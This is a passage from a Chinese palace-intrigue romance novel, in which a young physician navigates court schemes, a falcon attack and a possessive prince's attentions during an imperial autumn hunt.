霍府的十数顶帐篷在御帐的左后方,与右后方的东宫一应行在,构成三足鼎立。 三夫人有孕在身,霍霆大帐后方只有大房和二房,再之后是霍玄与两个庶出少爷,然后才是华姝四人的。 车辙悠悠停下,华姝扶着半夏慢慢走下马车,缓了缓发麻的双腿,好奇:“先前不说,我们四人住两顶帐篷吗?” 霍千羽落后她一步,“对啊,娘?先前不是说,我与姝儿住一起吗?” “别家府中女眷也是如此规制,咱们莫被旁人笑话了去。”打头的大夫人,又重新进入战斗状态。 霍千羽闻言,偷偷吐了吐舌头。 华姝忍俊不禁。 不必与阮糖同住,霍华羽不由欣喜。 按理说,阮糖是为了照顾三夫人才长居霍府,但这次她亦独自跟了来。大夫人面上不悦,倒底看在三夫人面上,没多说什么。 二夫人在旁边瞧着大夫人的紧张做派,只觉未免有些小家子气。但目光扫过霍家为首的那顶气派大帐,终是撇了撇嘴,没敢多说什么。 而后,众人陆续进帐。 华姝带着半夏和苓霄,也走进自己的那顶小帐中,四围有厚毡铺地。 苓霄做暗卫久了,习惯性冷漠寡语。进帐后主动挑了重活,去给炭盆扎火把子。棉纱拿细绳捆好,淋上油脂和松蜡,横在铜盆里,烧起来噼啪作响。 虽说是秋猎,但再有几日就立冬了。这炭盆一点着,冰冷的帐篷呼呼热了起来。 半夏也没闲着,打开华姝的箱笼,为她铺好床榻,“姑娘,这貂裘……现下就拿出来吗?” 华姝看向她手上的紫貂裘,皮毛鲜亮 是霍霆趁她在刑部密牢那几日,提前在这木兰围场的林间猎得,命绣娘加紧赶至,刚好来得及穿上。 但这么华贵的物件,连二夫人明和县主都不曾得,华姝哪敢穿出去招摇? 她叹:“睡前再拿出来压被角吧。” 苓霄诧异瞧她一眼,又利落回眸。 华姝走过去,围着炭盆蹲身烤火,细声细语:“就别同王爷讲了吧?” 苓霄浅瞥一眼她腰间那块玉佩,“如今姑娘是属下的主子,自然一切都听您的。” 华姝只当是挑选了她随行的缘故,确认她不会出卖自己,遂未再多想。 转而打量着帐中的矮床榻,床头的木方几,床角的箱笼和屏风,以及屏风后的浴桶和铜盆等物。 看着不多,但林林总总占了多半个帐篷。若是再加上霍千羽的,反倒有些拥挤了。 华姝想想这般也挺好。若真再有杀手找来,也不会牵连到表姐了。 再转念一想,有霍霆带兵巡逻,应是很安全的。 随心所动,她起身来到帐篷门口,撩开帘子望出去。 入眼可见身着甲胄的红顶子侍卫,手持佩刀,结队纵横巡视。旁边另架有高台,专人转岗地瞭望放哨。 萧成留在城中继续盘问司空震,关于机密匣子的下落。此次是杨靖随行,作为负手,正在厉声训斥一个犯错侍卫。 透过他,仿佛能看见霍霆整顿军纪时的威严态势。 再远处,各处点染篝火照明,青烟在渐浓的暮色中无尽绵延,透着别样豪迈壮阔,撼人心魄。 更远处,御厨们亦是支起炉灶,烤肉的香气混着椒盐的气息飘散。 引得随扈的大臣亲眷、丫鬟小厮们,间或出来查看。 连日疲于车马,今晚没有统一御令,大伙各自安顿即可。 华姝晚膳分得一块炙鹿肉,烤得焦香四溢。但她累了一路,其实没太多胃口,与半夏和苓霄三人分食掉。 而后便准备梳洗,歇下。 谁知浴桶的热水刚盛满,账外忽然传来嘈杂的脚步声。 苓霄耳廓微动,率先挑帘出去查看。 来人竟是个小太监,“奉圣上口谕,宣召华氏女即刻前往御帐,为宋妃娘娘请平安脉。” 华姝猝不及防,她眼神示意半夏塞给小太监一兜碎银,然后笑问:“敢问两位公公,此次有御医随行,民女如何有幸面圣……” 小太监悄声垫了垫银袋子,还算满意,酌情解释了句:“随行御医有限,未有人专攻女科。” 华姝点点头,似乎倒也说不通。 然后,就听小太监又补了句:“承蒙裴督主举荐,华姑娘遂得了这头一份的殊荣。” 第47章 雪夜同眠 旷野的夜风, 像一柄淬毒的薄刃,紧擦着华姝的鬓角寒凛划过。 “裴督主??”她瞳孔微缩。 半夏也一瞬脸色煞白。 苓霄更是悄然按住了腰带下的软剑。 “说是裴督主,那便是了。问那么多作甚?”小太监突然就变了脸色,“赶紧随杂家去觐见, 耽搁了娘娘的贵体你担得起吗?!” 华姝自是耽搁不起, 她攥紧指尖, 面上仍从容平静:“劳烦公公稍等,我整理下仪容便去。” 说完, 顶着小太监不悦的蔑视,带着两个丫鬟折回帐中。 她对着方木几上的铜镜,边仔细检查穿戴妆容,边低声交代:“半夏,等会我和苓霄走后,你就悄悄去寻王爷禀明。若是寻不到,就去寻杨将军。” “奴婢记住了。姑娘万事小心,一定要等到奴婢将王爷请过来呀。”半夏追着她俩身形,送到帐篷门口。 华姝忽然想到什么, 又转回铜镜前。 片刻后, 一路逆着寒风, 随着小太监前往九龙御帐。 帐中灯火通明,暖意融融。 华姝披风肩头的寒气, 渗出细细密密的水珠。经过戳在门口的一干宫女和太监, 停在龙榻三步之外。 她不敢直视龙颜, 半垂眼, 与另外两位御医齐肩而跪,“民女华姝见过圣上,恭祝圣上万福金安。” “免礼。”昭文帝一袭山河底纹明皇冕服, 泰然端坐在床头,“且来瞧瞧宋妃何故腹痛,若治得好自有你的赏赐。” 华姝应是,起身跪到龙榻前,凝神为伸出明黄帏帐的那截玉手,凝神诊脉。 帐中央的铜瓮中,金丝炭烧得火红。 床尾,裴夙长身玉立。 他本是淡漠垂着眼,待瞥见华姝的侧脸后,微眯起眼,转而裂开一抹阴恻恻的冷笑。 身上垂落的飞鱼服衣摆,无风自动。 宋妃半躺靠在床头,隔着床帐瞧不见这一幕,照常说出一早对华姝的盘算,“说起来,臣妾与华姑娘还有些渊源呢。” 华姝正要换手切脉,顿时一滞。 头顶,“朕略有耳闻,原是与你兄长有婚约来着吧?” 宋妃叹:“是啊,可怜她生得花容月貌,却难再高嫁。臣妾实在于心不忍,不知能否向您求份恩典?” 她撒娇地摇了摇昭文帝手臂,“且让华姑娘来我宫里做个医女吧,来日立了功,您赏脸给她指门相称的姻缘。” 华姝左手如常切脉,右手指甲嵌入肉里,疼得发麻。她没料到会是宋妃突然发难,是为了报宋煜入狱之仇? 她微微侧脸,竭力听着帐外的动静。只有呼呼的风声,伴着巡逻侍卫的脚步声,霍霆似乎还未赶来。 圣上会同意吗?金口玉言一旦定下,只怕霍霆来了也难以挽回吧? 可她低估了男人的劣根性,饶是天子也不能免俗:“难得听见宋妃称赞旁人的容貌。” 昭文帝金口亲启:“且抬起头来。” 华姝这下整条手臂都麻木了,僵硬地垂回身侧。 圣命难为,她只好被迫微抬起下巴,依旧半垂着眼。藉由其直视、品鉴。 昭文帝却只瞥了一眼,便挪开视线,“宋妃的脉象如何?” 帏帐内,宋妃目露不解。 依照华姝的相貌,便是后宫比得上的容貌也屈指可数,怎会这么快就转到脉案上去了? 帏帐外,华姝则悄然松口气。 还好霍千羽经常给她讲话本子,什么天子强抢貌美民妇的故事。 于是临出来前,她将信将疑地留一手。将该添补的肌理,用深色胭脂涂抹;将该遮盖的肌理,用白色蜜粉着重刷了两遍。 谈不上故意扮丑,虚假得被人一眼识破。但反向上妆后,加上她之前牢中清减了许多,整张脸就变得姿色平平了。 龙榻上,宋妃略掀开帷幔查看。 却是撞上了昭文帝的探究目光,惊得她眼皮突跳,赶忙安分地靠回床头。 华姝侥幸度过一劫,仍不敢松懈。 她恭谨地退回三步外,同两个太医并肩而跪,“不知两位大人,先前诊出的脉象如何?” “陛下问你,你只管答就是了。”始终冷眼旁观的裴夙,忽地开口。 一语截断了华姝想扮庸医的后路。 她只得临时编造说辞,默了默,“回陛下,民女无能,未能堪诊出宋妃娘娘的症疾。” “哦?”裴夙:“此前华姑娘曾为上前将士义诊,莫非全是儿戏?” 华姝:“那些将士皆是外伤,而娘娘疾症在内。且娘娘玉体尊贵,故而民女不敢妄言。” 裴夙嗤笑:“百年杏林华家的医术,原是不过如此。” 华姝紧抿了抿唇,又深吸口气:“华家医书当年尽数烧毁,民女不曾得家族真传。这些年,也只师承一个江湖游医罢了。” “……”裴夙喉结滚动两下,原本掷地有声的质问突然全卡住了。 他直直盯着那个伶牙俐齿的小东西,当真是大逆不道。 偏他这会,还一个字都不能骂出口,只剩暗暗磨牙。 御帐外,等候吩咐的容城也隐隐听见一耳朵。 他试想了下裴夙的反应,霎时冷不丁地缩紧脖子,感觉今晚的北风格外酸爽。 不多时,他便瞧见华姝全须全尾地退出帐外。 一同观望的,还有佯装来站岗值夜的杨靖。他与她对视一眼,见无异样,很快不动声色地背过身。 华姝也目不斜视,继续前行。 深山内的夜晚温度骤降,意外迎来今年的初雪,营地的篝火在雪幕中缩成一点昏黄。 寒风如刀,吹打在她湿透的后背上,冻得她不由裹紧了披风,加快步子往回走。 忽然,头顶的落雪停了。 被一柄山水墨画的纸伞遮住。 华姝迟缓回身,身后竟是不知何时没了苓霄身影。她沉下脸,“裴督主这是何意?” 裴夙月眸微弯,“顺路送你一程。” 华姝:“不必,我自有侍女相送。” “怎么?华姑娘是怕我这等阉狗,会吃了你不成?” 亲口谈及“阉狗”二字,裴夙嘲弄地笑了声。 漂亮的弧形眼尾却是下沉的,一丝沉重的压抑若隐若现。 华姝细细瞧了会,“可否容我问句冒昧之语?” “讲。” “裴督主可曾想过,世间为何不曾有‘阉猫’、‘阉兔’、‘阉羊’这等说辞?” 裴夙错愕一瞬,“什么?” “前朝亦有先贤被迫身受宫刑,却是化悲愤为力量,书写史书,为千古万众所敬仰。” 华姝淡淡望向远处,风雪潇潇,高台上哨兵仍是挺拔而立,“倘若他化愤恨为犬牙,生啖无辜百姓,下场又会如何呢?” 闻言,裴夙无声握紧了伞柄。 他凝望着她冷漠的侧颜,良久。 雪势渐大,扑簌簌的雪粒“沙沙”敲响伞身,惊醒了他,恍若一梦。 * 回到帐中,苓霄第一时间跪地告罪:“属下失职,但凭姑娘责罚。” “那容城也是东厂数一数二的高手,且是偷袭点穴,你一时中招也能理解,下次多加防范便是。” 华姝重新泡个热水澡,绷紧半晌的神经才得以舒缓下来,随后钻进锦被中,吹灭灯盏。 外面风雪渐大,吹得帐篷呼呼发抖。 好在有霍霆送她的紫貂裘,暖烘烘的红罗炭也是从他份例内匀出来的,这寒冷的夜也就没那么难熬了。 她阖眼假寐,脑海浮现起御前种种。 还有霍霆的反常做法,何故没有亲自过来接她? 华姝想不通,辗转多时难眠。 大约子时过半,才生出些许困意,混沌间,忽然有人挑帘挟风而入,是男子的沉重脚步声。 她猛地睁开眼,借着微弱的炭盆火光,瞧清来人,才松开从枕下摸出来的匕首。 也是,赶上苓霄值夜,除了他旁人不可能悄无声息地进来。 “还以为你睡着了,吓到没?”霍霆巡逻回来,玄色披风上堆满积雪,他解下来,顺手搭在角落的屏风上。 华姝掌心撑住床褥坐起身,眸光疑惑:“您这会来我帐中,是有要事?” 霍霆沉默了一息,走到炭盆前,翻着僵冷的手背烤火,不答反问:“你这么晚还未入睡,难道不是在想我,为何没有亲自去御帐迎你?” 华姝确实在想这事,怎么想都觉得与他行为反常。能让霍霆一改作风的必然不是小事,现下又特意半夜寻她来谈,“莫非是那幕后之人的手笔?” “我怀疑,今晚是对方的一次试探。”霍霆又拿起火钳添了两块炭,看向她,灼灼火光映出他凛肃的黑眸,“以核实你对我的牵制能达到何种程度。” 华姝:“那会是谁呢?我跟那小太监打听了,是裴夙举荐我到御前看诊的。” 霍霆默然放下火钳,蹙眉沉思起来。 华姝不好搅扰他,搓了搓发凉的手臂,重新缩躺回暖和的被窝,只露出一双眼珠,随着他动作而转动。 期间,霍霆拎起炭盆上吊的铜壶,转到屏风后简单擦洗一番,而后走到矮塌旁,坐下,低头一瞬不瞬瞧着她。 动作自然利落,一气呵成。 秋猎帐篷不比月桂居僻静,且矮塌狭窄,华姝其实是抗拒的。 起初,她只忽闪着眼睫回看他,身形未曾挪出一厘空地。 偏他又来问她:“宋妃可有异样?” “宋妃……让我进宫给她当女史。”华姝恍然一瞬,细思极恐,双臂都冒出了鸡皮疙瘩,“所以,她不是为着宋煜报复我,而是他父亲户部尚书的意思?!” 霍霆掀开层层被矜,顺利躺上床,侧枕着手臂,“不排除这种可能。” “可若是如此,宋煜当初为何坚持退婚?”华姝又想不通了,脸颊贴在软枕上,仰头问:“把我娶回去监禁在府上,不是更安心省事吗?” 霍霆深深盯了她一会,“又在我床上提别的男人?” 华姝睁大眼,瞪着这个才刚挤上来的霸道男人,“王爷,这是我的床……” “你都是我的,床自然也是我的。”霍霆不以为然,说完长臂一伸,就要过来捞她腰肢。 华姝忙抵住他双肩,“您的床在那顶大帐。” “那大帐里没人气,夜里寒凉。”霍霆神色如常道,声线也是一如既往的沉稳。 若非感受到被褥的温度升高一倍不止,华姝差点就信了。 真论起取暖,貂皮都不如他好用。 她默了默,“您明早几时去巡防?” 霍霆又不是底下需要时刻服从军纪的小兵,几时起实则都是他自己说了算。但眼下这种情形,他也只能困倦地阖上眼,“寅时。” 子时将过,满打满算只剩两个时辰。 而且,华姝还听到男人幽长一叹:“那时天都未亮,还风雪交加,也不是谁都要早起的。” 她默默收回双手。 罢了,就让他睡会吧。 华姝也阖上眼,继续思索着被霍霆岔开了的问题,其实答案也简单。 彼时她不过一介孤女,还坏了名声,对宋家而言已毫无价值。 后来霍霆回到燕京城,颇为重视此事。她作为华家的孤女,又曾入狱与他联手,可见是被器重的,自然也就重新入了那些人的眼。 一次不成,只怕明日…… “明日你不必担心。”霍霆也在想她所想,将人揽入怀中,安抚道:“太后和皇后为着和亲一事,近日火气正盛。有她们在上头压着,宋妃顶多给圣上吹吹枕边风,不敢闹出大乱子。” “白日里您不在,圣上也不在,连那裴夙也要跟着去打猎,如此说来确实没那么紧张了。但是,”华姝转念一想,又疑虑地睁开眼,“倘若宋妃今晚就吹动枕边风了呢?以您的了解,圣上的枕边风好吹吗?” 霍霆也重新睁开眼,定定凝了她几息,面上露出一抹难色:“我自己还没经验,不好去揣度圣心。” 什么意思? 华姝反应一瞬,倏地烧红耳根。嗔了他一眼,兀自背过身去。 外面风雪更大了,鹿皮帐篷窸窣作响,像有只小兽在抓挠着内壁。 那声音钻进耳朵,恰似一阵枕边风吹过,闹得人心里痒痒的。 冬日习惯使然,华姝蜷起四肢入眠。 霍霆误以为挤着了她,又往床边后移几寸,“你这床榻是略窄了些。” “……和半夏两人并肩躺着,就也还好。” 空气莫名安静一瞬。 忽然,华姝低呼了声。 紧接着,藕粉色温馨小塌也剧烈抖动了几下。 再归于平静时,华姝痛失了枕头。 身下,男人大马金刀地平躺着,心安理得地取替她的位置,长手长脚几乎占满整张小塌。 留给华姝的,只剩他一条宽厚臂弯。 霍霆单手圈住她腰肢,缓缓回忆:“半夏,就是那个……帮着你私买假户籍的丫鬟?” 他道:“你若不提,我都快将这事给忘了。按照家规,此等刁奴……” “我是担心王爷睡不惯这床榻。” 华姝急急轻声打断他。再让这位说下去,只怕半夏的下场,得比二伯母身边的钱妈妈还惨。 “无妨,明日将大帐的那张床塌换过来便是了。” 换、换床? 华姝乖乖软软地,被迫窝在他胸口,反复思量着这句话。 她一个人住这床塌,宽敞得很。若是要换张更宽敞的床,岂不是代表接下来几晚…… 想到这,她顿时没了睡意。 可把柄捏在人家手里,她也没胆子再敢抗议。只剩不自觉地辗转、反侧、翻动。 然后,忽地被箍紧。 那只铁臂从身后探过来,蓦地将她摁在胸膛上,紧紧勒住。 华姝起初还想挣扎,直到后腰与他不经意的贴碰后,瞬时僵住。 床帐内的温度急剧升高。 耳畔,男人的气息也灼热起来。他克制地深吸了口气,嗓音暗哑而迫人:“还动?” 第48章 哄他 次日清晨, 云舒雪霁,朝阳万顷。 华姝挑开帐帘的刹那,清冽刀削的冷风迎面袭来,在肺腑间炸开松枝与冻土交织的凛冽芬芳。 近处有人在撒盐清理积雪。远处也有人在挑帘眺望雪景。更远处银装素裹, 天地宛若皑皑一线。 华姝和霍千羽结伴, 到大夫人帐中吃了顿热腾腾的早膳, 然后与二房一行人等,于辰时之前赶到“点将台”附近。 辰时一到, 昭文帝未受大雪影响,如期登临“点将台”。大伙一群人乌泱泱跪见。 昭文帝往半人高的青铜鼎中,插进三根硕粗的明黄线香,祭天祈福。 劲挺烈风中,他身后赤红斗篷飒飒舞动,笑看台下道:“今日猎物最多者,朕赏他三千金!” 台下,手挽长弓箭匣男子们,齐声振臂高呼“万岁!” 上百人勒马而上, 浩浩荡荡冲进远处的密林, 马踏飞雪, 群鸟惊飞,声势壮阔。 外圈围观的女眷们, 也四散分开。 二夫人出身尊贵, 带着霍华羽凑去皇室女眷那边, 结伴看景赏雪。 大夫人的身份够不上那等圈层, 独自带着霍千羽和华姝,闷闷不乐地回帐篷。 华姝反而乐得猫回被窝补觉,毕竟昨夜没少遭人捉弄。寅时梦中那会, 她脸蛋似乎还被揉捏了好几下。 偏“罪魁祸首”这会神清气爽,一袭宝蓝色的箭袖戎装,利落稳坐于高大黑马上,与御驾并骑悠然而行。 昭文帝另一则,则是位吐蕃使臣。 那人鼻梁特别高,眼眶特别深,身上佩戴着奇形怪状的金银器饰,走起路来叮叮当当的。 这时,霍玄牵马绕路过来,停在形单影只的三人面前,“打的猎物能归自家所有,母亲可有什么想烤来吃的?” 大夫人欣慰笑了,“鹿肉常见,就捎带点狍子肉尝尝鲜吧。” 霍玄略过霍千羽,温柔目光转向华姝,“表妹呢?” 华姝眼睫微动,“有劳表兄,我都行。” “那我就每样都猎点,届时大伙分着吃。”霍玄说完,便与冯衡、蒋骁等人汇合,一道骑马进入密林。 不远处,霍霆余光扫到这边,修长手臂勒住缰绳,低头吩咐几句。 随后,在场上众人诧异的目光下。 长缨小跑着过来,拱手道:“王爷命属下来问问,大夫人和两位姑娘可有爱吃的野味?” 大夫人受宠若惊,忙也谦辞道:“有劳澜舟惦着,我们吃啥都行。” 霍千羽点头:“有啥吃啥,我们不挑的。四叔今日还要顾及安防之事,可别为着这等小事分了心。” 长缨转看华姝,为难苦笑:“表姑娘可别再说什么都行了,否则属下不好回去交差呀。” 华姝又望了一眼那道渐行渐远的宝蓝色高大背影,暗叹,何止是他不好交差,她也不好交差呀。 霍玄刚问过,霍霆就命人来问。 其中用意,她能假装不懂吗? “若王爷得空的话,就猎一头獐子吧。”华姝凝眉想了想,道:“獐肉补益五脏,獐骨益精髓,獐髓脑还可益气力、悦泽人面,浑身都是宝。” 大夫人和霍千羽乐了:“这个好!” 长缨也乐呵呵赞叹,然后小跑着回去复命。 同样一段简单对话,落在旁人眼中,意义大为不同。 等长缨一走,原本与二夫人同行的贵妇女眷,开始有人陆续走过来搭话。 大夫人皆是笑脸相迎,被问及与霍霆的关系,她都归为“王爷仁善治家”的功劳。 二房母女孤零零立在原处,望着这一幕,脸色气得越来越阴沉。 目光不善的,还有路过的福佳公主。 她身着红火的骑马装,居高临下斜了华姝一眼,轻蔑中透着几丝憎恶,而后也打马狂奔进密林。 华姝与霍千羽都无奈叹了叹,继续往回走。口中冒出团团白雾,又被冷风很快吹散。 * 诚如霍霆所言,宋妃白日里避在帐篷中,没再有动作。 华姝安生补觉到午后,刚吃了口热气腾腾的羊肉面,霍千羽掀帘进来,“姝儿快些收拾收拾,太后召见咱呢!” “太后?”华姝诧异顿住筷子,忙问:“有说是为了何事吗?”因着昨夜宋妃闹的那一出,她现在俨然已是草木皆兵。 “说是午后阳光正好,想出去走走,顺带着迎迎圣上他们猎获归来。” 霍千羽尴尬解释:“太后尊贵,起初是想不起咱的。这不早间母亲新结识了几位夫人嘛,她们帮着美言了几句。” 华姝松口气,不是刻意为之就好。 随即齐整穿戴好,与大夫人、阮糖,一齐往前面的凤帐而去。 受邀的约莫七八家,皆是国公府、侯府、尚书府这辈。 四人蹲身见礼。二夫人一早等在这,主动担起介绍人的差事。 太后凤容威仪,顾念着那模棱两可的赐婚,对她们四人还算和善,却也眼神复杂。 行礼后,大夫人带着华姝三人站到不起眼的角落。 “行了,人瞧着都到齐了。”太后搭着韶华公主的手臂,率先起身,“咱就出去瞧瞧吧,看是谁赢得了皇帝的彩头。” 一群人跟上,往密林方向溜达过去。 霍千羽由华姝推着,跟在最后面,“咱也正好去迎迎四叔和玄哥儿。” “好,咱也去迎迎烤肉吧。”华姝笑 “臭姝儿,你惯是会打趣我!” 午后阳光暖融融,一路上都很惬意。 直到,撞见皇后在一群贵妇贵女的簇拥下,迎面走来。 双方脸色皆是微僵,似笑非笑地互相见礼。 华姝望着她们之间的微妙气氛,隐隐有种猜想——两位主子娘娘,莫非在借机造势? 支持她们的势力越多,在圣上跟前的话语权就越大。 如此,她们四人岂不是稀里糊涂地就站队了?! 华姝侧头去瞧,大夫人脸色亦是不好。 “驭——” 福佳公主从密林内策马而来。一只白羽红喙的海东青,跟着盘旋于半空。 她翻身落地,将马鞭扔给宫人,走到皇后娘娘身侧,朝太后请安:“见过祖母。” 太后觑着她跳脱的行径,无言皱眉。 皇后娘娘则笑着掏出帕子,给她拭去额头汗珠,“怎么没同你父皇一道回来?” 福佳公主扬起下巴,瞧了眼头顶的海东青,“适才我这鹰探得了熊瞎子的踪迹,父皇猎获后赏了只熊掌与我。” 她拍了拍横搭在马背上的蛇皮袋子,“我想着先拿去御膳房蒸了,等会父皇回来正好趁热进用。” 众人一听,忙称赞福佳公主孝顺。 皇后自是笑容满面。太后则面无表情:“难得你有这份心,且赶紧去吧。”说罢,带人继续往前头走。 皇后反向前行,两拨人擦肩而过。 华姝跟在最后,与持鹰走在后头的福佳公主,忽然视线交汇。 福佳公主抚摸着那海东青的利爪,嘴角勾起晦暗的笑意。 不待华姝反应过来,她突然手臂一转,将鹰眼对准华姝的方向,猛地一弹它那利爪! 说时迟那是很快,海东青如白色闪电一般扑了过来。 华姝瞳孔骤缩,疾步后退。 再一瞧行动不便的霍千羽,她不得不紧急止步。 紧接着眼睫微动,反手掏出袖中匕首。 不待甩出去,她又想起福佳公主先前说的:这鹰才帮圣上觅得熊瞎子,乃是功臣。 倘若被她一刀射死这鹰,福佳公主岂不是正好借题发挥? 可她不过稍一犹豫,海东青的利爪已近在咫尺—— 千钧一发之际,华姝抽出一截锃亮刀身,对准头顶的阳光。 刀身顿时泛起一道刺目的白光,直刺海东青的双眼。 猛禽受惊哀鸣,失去方向,开往人群中横冲直撞。 雍容华美的贵妇们,霎时吓得花容失色,四处逃散。 太后走在最前面,等听到动静时,已来不及闪躲。眼瞧着那两只尖锐鹰爪,朝她直勾勾抓来—— “韶华!”太后惊呼一声。 关键时刻,韶华公主挺身挡在前面。 海东青的爪尖,在她娇嫩的雪靥上留下了整整三道血痕。 众人瞧着这一幕,惊魂不定。 福佳公主更是骇然大惊。 这畜生竟吓到了祖母! 还抓伤了小姑?倘若小姑因此毁了容,那和亲的人选岂非只剩她一个了?! 皇后临危不乱:“来人,快去给韶华公主请御医。” 单凭这点可堵不住太后的嘴。 她先检查了韶华公主的脸,而后沉脸扫视皇后母女,“好一个孝顺躬亲的福佳公主!你的孝道,原是只用在皇帝一人身上,竟连我这个祖母都不放在眼里了?!” 福佳公主急急跪地:“祖母息怒,孙女绝无此意。” 皇后亦是从旁说和:“是啊母后,福佳这孩子也是您看着长大的,绝非那等阴毒心肠。” 太后冷哼:“她养的孽畜伤了人,难道还能怪到旁人身上不成?” “……是华姝!” 福佳公主指着身后方向,“是她那匕首反光,刺激到鹰眼,这才发了狂。” 此话一出,华姝瞬间沦为众矢之的。 她脸色刷白,忙跪地道:“太后息怒,是那鹰先发了狂朝着民女直冲过来。民女用匕首反光,也是处于自保的本能。” “你撒谎!”福佳公主一口咬定。 “民女不敢。”经历过最初的惊慌无措后,华姝耳畔响起霍霆昨晚的交代:“遇事无需刻意忍让,一切后果有我担着。切记,别伤着了自己。” 她深吸一口气,稳了稳心神:“民女与公主不过数面之缘,无冤无仇,何故主动去刺激那鹰眼呢?这么做对民女又有何好处?” 华姝不卑不亢,一连发问。 问得福佳公主哑口无言。 本就是谎话,自然经不得道理的推敲。 皇后见此,无声给旁人使个眼色。 那位永宁侯夫人,随后掩面轻笑:“无冤无仇?这京城谁人不知,这个华姝勾搭状元郎不得?指不定对公主怎么怀恨在心呢。” 大夫人正担心有人提这茬,一听这话,脸色也刷得变白。 她忙要开口解释,却忽然听见一阵阵马蹄飞声。远处狩猎队伍烟尘蔽日,由远及近。 顺着她目光,太后亦是回看了眼,而后肃声下令:“即是皇帝和镇南王都回了,那就容他们二人也都来听听,论个是非对错罢。” * 顷刻后,一行人在“点将台”落座。 霍霆坐在昭文帝下手,皇后坐在太后下手,双方众人分庭而对。 昭文帝只扫了一眼,即看透太后和皇后的用意。都说家丑不可外扬,当着霍霆等外臣的面,昭文帝脸色不免难看。 霍霆的注意力,主要落在华姝身上。 见她把自己护得好好的,还有理有据地反驳了福佳公主的栽赃,他脸上与有荣焉,不愧是他的好姑娘。 等再看向那位永宁侯夫人时,他已是面色淡淡,“勾搭状元郎,京城无人不知,对公主怀恨在心。” 语速不疾不徐。 语气不辨喜怒。 但那永安侯夫人,仍是听得太阳穴一跳一跳的,慌里慌张挪开眼,不敢与他对视。 大夫人借机接过话茬:“那些不过是两个孩子儿时戏言,早在领旨当日就解释清了,还请圣上、太后、皇后娘娘明鉴。” 二夫人观摩着霍霆的态度,也搭话道:“请圣上明鉴,姝儿这孩子自幼由臣妇的婆母,瑞安郡主亲自教导。一向知礼端庄,谨言慎行。” “知礼端庄?”福佳公主嗤笑:“真当她在山里走失一个月的事,旁人都不知道呢。” 二夫人被猝然一噎。 既定的事实,也让大夫人一时语塞。 华姝哑然张了张嘴,唇瓣止不住地战栗,辨无可辨。 众人面面相觑,目光变得异样起来。 下一瞬,却听得茶盏蓦然震碎! 一记碎瓷片破空而出—— 立在小太监肩头的海东青,“嘭”得栽落,口吐鲜血不止。 霍霆幽幽抬眸,谛视着福佳公主,一字一顿:“公主自有圣上管教,但这背主伤人的孽畜,本王尚可代劳。” 他周遭的气压陡然凝滞,寒意如霜刃般自衣袂间迸发。 众人不寒而栗。 福佳公主的颈间,真切地窜起一股刺骨寒意。 霍霆适才出手极快,旁人未瞧清,那碎瓷片是贴着脖颈一寸之处,森然划过。 她瞳孔里倒映着他眉间凝结的冰霜,喉间却挤不出半声惊呼。 皇后也身形僵了僵,忙回看昭文帝脸色。 昭文帝亦是愕住一瞬,回过神后,看向霍霆的眼神染上淡淡的不悦。 但真论起来,确是福佳公主言行无状在先。且还惊到了太后,又赶在了宴请和亲使团的当口……种种不当行径,令昭文帝终是火冒三丈。 他猛地掷碎茶盏,指着她,“你当真是屡教不改!” 吓得众人跪地齐呼:“圣上息怒。” 除了太后和霍霆。 皇后顾不得一国之母的尊荣,俯身软声说和:“定是奴才们乱嚼耳根子,才让福佳信以为真。臣妾回去后,定会好生惩治他们。” 韶华公主身份尴尬,为避免太后母子生分,这些年早已习惯性替福佳开脱:“原是一点小伤,养两日便能痊愈。不值当引得圣上不悦,这就是韶华的不是了。” 人群中,阮糖瞅准机会,忽然轻声开口:“臣女斗胆禀奏。眼下打紧的是医好韶华公主的疤痕,臣女正好知道有一种滋容养颜膏。” 此前,三夫人用那养颜膏涂抹妊娠纹,效果甚佳。知道是华姝师父所赠,也不好讨要,遂让阮糖去寻一些相近的。 不成想,意外听得东市一桩美谈。据说在霍府庆功宴那晚,有位头戴面具的富贵老爷为娇妻一掷千金,当场买下三十罐雪梨养颜膏。 阮糖隐有所感,可惜自己那罐也被三夫人用光。于是在千竹堂那日,借机同华姝又要一罐,拿与胭脂铺老板娘确认,果不其然。 此刻点将台上,骄阳明媚。 暖光斜射进阮糖的瞳中,隐隐映出一道寒芒。 ——只要失去王爷的庇护,这次秋猎,你就只能有来无回! 思及此,阮糖继续缓声说:“且这种养颜膏正为华姝所有,经由她献给公主,也不失为将功补过。” 华姝身形微滞,顿觉不妙。 可她还没来得及制止,阮糖已是笑吟吟道出:“姝儿,我记得你师父之前所赠莲蓬养颜膏,还有一瓶剩余的对吧?” 华姝僵硬望着前方,眼睫孱颤。 坐席上,霍霆拇指上的玉版纸。他沉默几息,缓缓掀起眼皮,落在她泛白的面颊上。 定定瞧着她,眸里的光寸寸堙灭。 华姝动了动唇瓣,不待她开口解释,他却已是漠不关心地收回了视线。 头顶骄阳刺目,晃得华姝眼发昏。 她端详了几眼阮糖,一时分不清她是有口无心,还是另有隐情?毕竟这个关口,实在太巧了。 但眼下情形,也容不得华姝多想,她顺着阮糖的话茬:“禀圣上,民女家中还存余一罐养颜膏,稍有滋容之效,但担不得祛疤用。韶华公主若是不弃,日后自当献上。” 韶华公主:“自是不嫌,那就有劳华姑娘了。” 两人一来一往,大事化小。 太后有意责难皇后,却不想自己儿子在外臣跟前失了面子,遂也只好小事化了。 昭文帝顺手推舟,又板脸斥责福佳公主几句,勒令她回去抄写《女训》十遍,此事就算揭过了。 他站起身,淡淡瞥了眼华姝,率先摆驾离去。 众人拜别,也各自散开。 阮糖落后一步,悄悄去观察霍霆的面色。 霍霆早已兴致恹恹转身,款步远去。高大冷硬的背影,与萧萧风雪渐渐融为一体。 华姝想追上去解释,怎奈四周人多眼杂。她刻意放慢步调,等大伙走得差不多了,才托词想一个人散散心,心头坠坠地追过去。 霍霆没回帐中,她顺着他离开的方向,踏着积雪,蹒跚摸索着路径。 营地比她想象中大数倍不止,逆风走好久,才远远望见最北侧的一处哨塔。 长缨正守在那木屋的门外,华姝浅浅松口气,疾步寻过去。 长缨瞧见她,也松了口气,转而又凝重地低声提醒:“王爷瞧着……脸色不大好。” 何止不大好? 隔着门,都能听见利刃的铮鸣声,夹杂着金属碰撞的脆响,像一场暴风雨在狭小空间里肆虐翻涌着。 长缨带着四周的侍卫,很有眼力地避远了去。 华姝安静侯在门外,举目四望,皆是苍茫无垠的雪地荒野。远处的营地帐篷,只剩一点虚影。 她想,这么偏僻的地界,又这么冷的天气,一般人应该不会寻来吧? * 一场闹剧结束,韶华公主心不在焉地跟在太后身侧,往营地帐篷方向而去。 